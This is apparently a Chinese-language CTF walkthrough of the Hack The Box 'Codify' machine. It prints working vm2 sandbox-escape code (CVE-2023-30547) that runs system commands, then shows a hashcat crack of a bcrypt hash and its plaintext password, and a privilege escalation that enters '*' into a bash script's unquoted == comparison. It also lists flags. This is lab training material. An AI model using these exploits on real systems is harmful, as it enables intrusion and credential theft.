[Meachines] [Easy] Codify Express-Nodejs-Vm2-Bypass-RCE+SH == * Bypass权限提升
字数 998 2025-08-22 12:23:36
Codify靶机渗透测试完整指南:从Node.js vm2沙箱逃逸到SH通配符提权
1. 信息收集阶段
1.1 初始扫描
目标IP: 10.10.11.239
开放端口:
- 22/tcp - OpenSSH 8.9p1 Ubuntu
- 80/tcp - Apache httpd 2.4.52
- 3000/tcp - Node.js Express框架
# 添加到hosts文件
echo '10.10.11.239 codify.htb' >> /etc/hosts
1.2 Web服务枚举
访问 http://codify.htb 发现一个在线代码编辑器,运行在Node.js Express框架下。
2. 漏洞利用:vm2沙箱逃逸
2.1 漏洞背景
目标使用vm2库(版本受CVE-2023-30547影响)进行代码沙箱隔离,默认屏蔽process和require等敏感对象。
2.2 漏洞利用原理
通过Proxy对象干扰异常处理和堆栈信息,利用Function构造函数绕过沙箱限制访问process对象。
2.3 利用代码
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('id');
}`;
console.log(vm.run(code));
2.4 实际利用
- 访问
http://codify.htb/editor - 输入上述利用代码并执行
- 确认成功执行系统命令后,可构造反向shell
3. 初始访问与横向移动
3.1 获取用户凭据
# 在获取的shell中查找数据库
svc@codify:~$ sqlite3 /var/www/contact/tickets.db
sqlite> select * from users;
# 使用hashcat破解密码
hashcat --force -m 3200 hashes.txt rockyou.txt
# 破解结果:spongebob1
3.2 SSH登录
ssh joshua@10.10.11.239
# 密码:spongebob1
获取user flag: d573d0412c19ff9c539e04fc9b2f7681
4. 权限提升:SH通配符匹配漏洞
4.1 发现特权脚本
发现/opt/scripts/mysql-backup.sh脚本存在权限问题:
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then # 存在安全隐患的行
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
# 后续备份操作...
4.2 漏洞分析
[[ $DB_PASS == $USER_PASS ]] 使用==进行模式匹配而非字符串精确匹配。如果USER_PASS包含通配符(如*),会进行模式匹配。
4.3 利用步骤
- 上传
pspy64监控进程 - 观察脚本执行时机或直接执行
- 尝试使用通配符作为密码:
sudo /opt/scripts/mysql-backup.sh
# 当提示输入密码时,输入:*
4.4 获取root权限
成功匹配后,脚本会使用root权限执行后续操作,从而获取root权限。
获取root flag: 79ee3695ba62bb5eadcc3dfe7deeefb9
5. 总结
本渗透测试完整流程:
- 通过vm2沙箱逃逸漏洞获取初始立足点
- 数据库凭证泄露导致横向移动
- 利用SH脚本中的通配符匹配漏洞实现权限提升
关键点:
- vm2沙箱逃逸技术
- SH脚本中
==的模式匹配特性 - 通配符在权限提升中的巧妙应用